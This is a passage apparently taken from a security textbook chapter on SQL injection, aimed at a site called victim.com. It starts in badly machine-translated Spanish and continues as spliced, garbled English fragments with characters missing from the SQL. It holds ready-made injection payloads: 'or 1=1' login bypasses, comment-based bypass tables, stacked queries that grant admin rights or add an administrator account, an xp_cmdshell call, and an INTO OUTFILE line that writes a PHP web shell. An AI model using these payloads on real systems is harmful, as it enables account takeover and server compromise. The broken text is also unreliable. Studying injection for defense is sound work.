Si el resultado de las dos solicitudes es la misma, hay una alta posibilidad de que
hay un SQL
Vulnerabilidad de inyeccin.
En este punto, puede ser un poco confundido acerca de las comillas simples y
caracteres codificados, pero
todo va a tener sentido a medida que lee este captulo. El objetivo de esta seccin
es para lograr que los
tipo de manipulacin que podran dar lugar a anomalas en la respuesta desde el
servidor Web. en
"Confirmacin de inyeccin SQL," Voy a ampliar las cadenas de entrada que
utilizaremos para encontrar
Vulnerabilidades de inyeccin SQL.
Herramientas y Trampas ...
Usuario sanitizacin de datos
Vulnerabilidades de inyeccin SQL se producen por dos razones:
La falta de saneamiento de entrada de usuario
Las estructuras de datos y de control mezclados en el mismo canal de transporte
Estos dos problemas juntos han sido la causa de algunos de los tipos ms importantes
de vulnerabilidades explotadas
hasta el momento en la historia de los ordenadores, como heap y la pila se desborda,
y las cuestiones de formato de cadena.
La falta de saneamiento de entrada de usuario permite a un atacante para saltar de la
parte de datos (por ejemplo, una cadena encerrada entre
comillas simples o un nmero) para inyectar comandos de control (por ejemplo, SELECT,
UNION, AND, OR, etc).
Para defenderse de este tipo de vulnerabilidad de la primera medida a adoptar es
llevar a cabo la desinfeccin de entrada estricto usuario
y / o codificacin de salida. Por ejemplo, usted puede adoptar un enfoque de lista
blanca, por lo que si usted est esperando un nmero
como valor de parmetro, se puede configurar la aplicacin Web para rechazar todos
los personajes de la proporcionada por el usuario-
de entrada que no es un dgito. Si usted est esperando una cadena, slo acepta
caracteres que determin previamente
no son peligrosos. Cuando esto no sea posible, debe asegurarse de que todas las
entradas estn correctamente citadas / codificadas antes de la
que se utiliza para evitar la inyeccin SQL.
En las siguientes secciones, ver cmo la informacin llega al servidor de base de
datos y
por qu los errores anteriores, donde generan.
Informacin del flujo de trabajo
En la seccin anterior, que vio algunos errores de inyeccin SQL que aparecen como
resultado de parmetro
manipulacin. Usted se estar preguntando por qu el servidor Web muestra un error de
la base de datos si
modifica un parmetro. Aunque los errores se muestran en la respuesta del servidor
Web, el
Inyeccin SQL sucede en la capa de base de datos. Estos ejemplos muestran cmo se
puede llegar a un
servidor de base de datos a travs de la aplicacin web.
Es importante tener una idea clara de cmo la introduccin de datos influye en una
consulta SQL
y qu tipo de respuesta se puede esperar desde el servidor. La Figura 2.4 muestra
cmo los datos
enviada desde el navegador se utilizan en la creacin de una sentencia SQL y cmo se
Returne los resultados del navegador

Pag 60


Traducir del: ingls
Figura 2.7 Respuesta Diferentes
En la figura 2.7, tenemos un ejemplo
de diferentes de dos peticiones. El examen se realiza en contra de la
parmetro idvisitor de una pgina Web llamada tracking.asp. Esta pgina se
utiliza para rastrear a los visitantes a la
http://www.victim.com sitio Web. El guin slo actualiza una base de datos para
que el visitante se especifica en
la variable idvisitor. Si se produce un error de SQL, se detecta la excepcin y la
respuesta es
devuelto al usuario. Sin embargo, dos a la inconsistencia en la programacin
de la respuesta resultante es
ligeramente diferente.
Otros ejemplos pueden incluir interfaz web donde los artculos de menor
importancia,: tales como etiquetas de los productos, son
cargado basado en parmetros de usuario. Si se produce un error de SQL, no
esraro que los
artculos menores interfaz que faltan para ser fcil pasar por alto. Aunque
puedaparecer un menor de edad
error, ver que hay maneras de aprovechar esta clase
de problema utilizandoinyeccin SQL ciega
tcnicas, introducidas en la siguiente seccin y se explica en detalle en el
captulo 5.
Deteccin inyeccin oculta
Aplicaciones Web acceder bases de datos para muchos propsitos. Un objetivo
comn es el acceso
informacin y presentarla al usuario. En los casos ms disponibles, un
atacantepodra ser capaz de modificar el
Sentencia de SQL y visualizacin de informacin arbitraria de la base de datos
enla respuesta HTTP
recibida desde el servidor web.
Sin embargo, hay otros casos en los que no es posible mostrar
cualquierinformacin de la
base de datos, pero eso no significa necesariamente que el cdigo no
puede ser vulnerable a inyeccin SQL. Este
significa-el descubrimiento y la explotacin de la vulnerabilidad va a ser un
poco diferente.
Considere el ejemplo siguiente.
Vctima Inc. SU Permite a los usuarios iniciar sesin en el sitio Web de ITS a
travs de un formulario de autenticacin ubicada en
http://www.victim.com/authenticate.aspx. El formulario de
autenticacin solicita un nombre de usuario y una
contrasea del usuario. Si introduce cualquier nombre de usuario y una
contraseaal azar la pgina del resultado muestra
un "nombre de usuario o contrasea no vlidos" mensaje. Esto es algo que se
puede esperar.
Sin embargo, si se introduce un valor nombre de usuario de usuario "o"
1=1 the error shown in Figure 2.8 is
displayed.

Figu re
Injecting Strings Inline
Figure 2.13 Exploitation of a Numeric Injection
The result of the exploitation generated the following SQL statement:
SELECT
FROM messages
WHERE uid=45 or 1=1 / Always true condition /
ORDER BY received;
Due to the always true condition injected (or 1=1) the database returns all rows in the
messages table and not just the ones sent to our user. In Chapter 4, you will learn how to
exploit this further to read arbitrary data from any table of the database and even from
other
databases.
Table 2.2 shows a collection of signatures for testing numeric values.
Table 2.2 Signatures for Inline Injection of Numeric Values
Testing
String Variations Expected Results
Error triggering. If successful, the database will return an error
Tip
A defense technique consists of detecting and removing all spaces or truncating the value to the first
space from
the user entry. Multiline comments can be used to bypass such restrictions. Say you are exploiting an
application
using the following attack:
http://www.victim.com/messages/list
.aspx?uid=45 or 1=1
However, the application removes the spaces and the SQL statement becomes:
SELECT
FROM messages
WHERE uid=45or1=1
This will not return the results you want, but you can add multiline comments with no content to avoid
using
spaces:
http://www.victim.com/messages/list
.aspx?uid=45//or//1=1
FROM messages
WHERE uid=45or1=1
SELECT
FROM administrators
WHERE username = or 1=1;-- AND password = ;
SELECT
FROM administrators
WHERE username = admin/ AND password = / ;
Removing the commented code helps to better illustrate the example:
SELECT
FROM administrators
WHERE username = admin;
http://www.victim.com/displayuser.aspx?User=Bob-- Original request
http://www.victim.com/displayuser.aspx?User=B+ob -- MSSQL
http://www.victim.com/displayuser.aspx?User=Bob -- MySQL
http://www.victim.com/displayuser.aspx?User=B||ob -- Oracle or PostgreSQL
http://www.victim.com/displayuser.aspx?User=B||ob -- Oracle or PostgreSQL
Sending the three modified requests will tell you the database running on the remote
backend
server, as two requests will return a syntax error and one of them will return the same
result as the original request indicating the underlying database.
Table 2.5 shows a summary with some signatures using database comments commonly
used
for bypassing authentication mechanisms.
Table 2.5 Signatures Using Database Comments
Testing
String Variations Expected Results
admin-- admin)-- Bypass authentication mechanism by returning the admin row set
from the database
admin # admin)# MySQLBypass authentication mechanism by returning the
admin row set from the database
Testing
String Variations Expected Results
1-- 1)-- Commenting out the rest of the query, it is expected to remove any
filter specified in the WHERE clause after the injectable
parameter
1 or 1=1-- 1) or 1=1-- Return all rows injecting a numeric parameter
or 1=1-- ) or
1=1--
Return all rows injecting a string parameter
-1 and 1=2-- -1) and 1=2-
-
Return no rows injecting a numeric parameter
and 1=2-
-
) and
1=2--
Return no rows injecting a string parameter
1/comment/ Comment injection. If successful, it makes no difference to the
original request. Helps identify SQL injection vulnerabilities
Executing Multiple Statements
Terminating a SQL statement provides you with greater control over the SQL code sent
to the
database server. In fact, this control goes beyond the statement created by the database.
If you
terminate the SQL statement you can create a brand-new one with no restrictions on it.
Microsoft SQL Server 6.0 introduced server-side cursors to its architecture, which
provided
the functionality of executing a string with multiple statements over the same
connection
handle. This functionality is also supported in all the later versions and allows the
execution of
statements such as the following:
SELECT foo FROM bar; SELECT foo2 FROM bar2;
UPDATE users/ Update table Users /
SET isadmin=1/ Add administrator privileges in the application /
WHERE uid=<Your User ID> / to your user /
We need to start the attack, enumerating columns using the HAVING 1=1 and GROUP
BY
technique explained before:
http://www.victim.com/welcome.aspx?user=45; select from usershaving 1=1;--
This will return an error with the first column name and will need to repeat the process,
adding the names to the GROUP BY clause:
http://www.victim.com/welcome.aspx?user=45;select from users having 1=1GROUP BY
uid;--
http://www.victim.com/welcome.aspx?user=45;select from users having 1=1GROUP BY uid,
user;--
http://www.victim.com/welcome.aspx?user=45;select from users having 1=1GROUP BY uid,
user,
password;--
http://www.victim.com/welcome.aspx?user=45;select from users having 1=1GROUP BY uid,
user,
password, isadmin;--
Once we discover the column names, the next URL with the injected code to add
administrative privileges to the Victim Inc. Web application would be:
http://www.victim.com/welcome.aspx?uid=45;UPDATE users SET isadmin=1 WHERE uid=45;--
Warning
Be very careful when escalating privileges by executing an UPDATE statement, and always add a
WHERE clause
at the end. Dont do something like this:
http://www.victim.com/welcome.aspx?uid=45; UPDATE users SET isadmin=1
as that would update every record in the users table, which is not what we want to do.
Having the possibility of executing arbitrary SQL code offers many vectors of attack.
You
may opt to add a new user:
INSERT INTO administrators (username, password)
VALUES (hacker, mysecretpassword)
http://www.victim.com/welcome.aspx?uid=45;exec master..xp_cmdshell ping
www.google.com;--
SELECT <?php echo shell_exec($_GET[cmd]);?>
INTO OUTFILE /var/www/victim.com/shell.php;--
Empezar en 111